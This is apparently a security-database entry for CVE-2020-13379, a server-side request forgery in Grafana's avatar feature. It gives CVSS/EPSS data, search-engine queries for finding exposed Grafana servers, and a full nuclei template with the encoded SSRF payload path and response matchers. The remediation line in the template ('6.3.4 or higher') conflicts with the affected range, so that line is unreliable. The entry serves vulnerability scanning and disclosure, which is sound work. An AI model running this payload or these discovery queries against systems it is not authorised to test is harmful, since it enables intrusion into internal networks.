SecurityContext

CVE-2020-13379: Grafana 3.0.1-7.0.1 - Server-Side Request Forgery

Classification

  • Cwe: CWE-918
  • Cvss score: 8.2
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
  • Epss score: 0.99856
  • Epss percentile: 0.99962
  • Cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="grafana", app="grafana"
  • Google-query: intitle:"grafana"
  • Max-request: 2
  • Product: grafana
  • Shodan-query: title:"Grafana", cpe:"cpe:2.3:a:grafana:grafana", http.title:"grafana"
  • Vendor: grafana
  • Verified: yes

Products

ProductIndexedUrl
grafana:grafanayes/v1/products/grafana/grafana

Labels

  • Name: Grafana - Server-Side Request Forgery
  • Impact: Attackers can perform unauthorized requests, potentially leading to information disclosure, data modification, or remote code execution.
  • Remediation: Update to the latest version of Grafana that addresses this vulnerability.
  • Vulnerability type: server_side_request_forgery
  • Vulnerability impact: information_disclosure, data_tampering, remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2020-13379
  • Not known: requirements

```yaml

id: CVE-2020-13379

info:

name: Grafana 3.0.1-7.0.1 - Server-Side Request Forgery

author: Joshua Rogers

severity: high

description: |

Grafana 3.0.1 through 7.0.1 is susceptible to server-side request forgery via the avatar feature, which can lead to remote code execution. Any unauthenticated user/client can make Grafana send HTTP requests to any URL and return its result. This can be used to gain information about the network Grafana is running on, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

impact: |

An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.

remediation: Upgrade to 6.3.4 or higher.

reference:

- https://github.com/advisories/GHSA-wc9w-wvq2-ffm9

- https://github.com/grafana/grafana/commit/ba953be95f0302c2ea80d23f1e5f2c1847365192

- http://www.openwall.com/lists/oss-security/2020/06/03/4

- https://nvd.nist.gov/vuln/detail/CVE-2020-13379

- http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.html

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

cvss-score: 8.2

cve-id: CVE-2020-13379

cwe-id: CWE-918

epss-score: 0.99856

epss-percentile: 0.99962

cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

vendor: grafana

product: grafana

shodan-query:

- title:"Grafana"

- cpe:"cpe:2.3:a:grafana:grafana"

- http.title:"grafana"

fofa-query:

- title="grafana"

- app="grafana"

google-query: intitle:"grafana"

tags: cve2020,cve,grafana,ssrf,vkev,vuln

http:

- method: GET

path:

- "{{BaseURL}}/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"

- "{{BaseURL}}/grafana/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"

stop-at-first-match: true

matchers-condition: and

matchers:

- type: word

part: body

words:

- "cloudflare.com"

- "dns"

condition: and

- type: word

part: header

words:

- "image/jpeg"

- type: status

status:

- 200

digest: 490a0046304402202bd452c6a0c7edfccf67555927f80d1a4627469f8f63e19dcfb8568b82d675000220551cb5feac85891dcd9ee5f38f8444d784295e53e56e002ea2d049b5a66c28b5:922c64590222798bb761d5b6d8e72950

```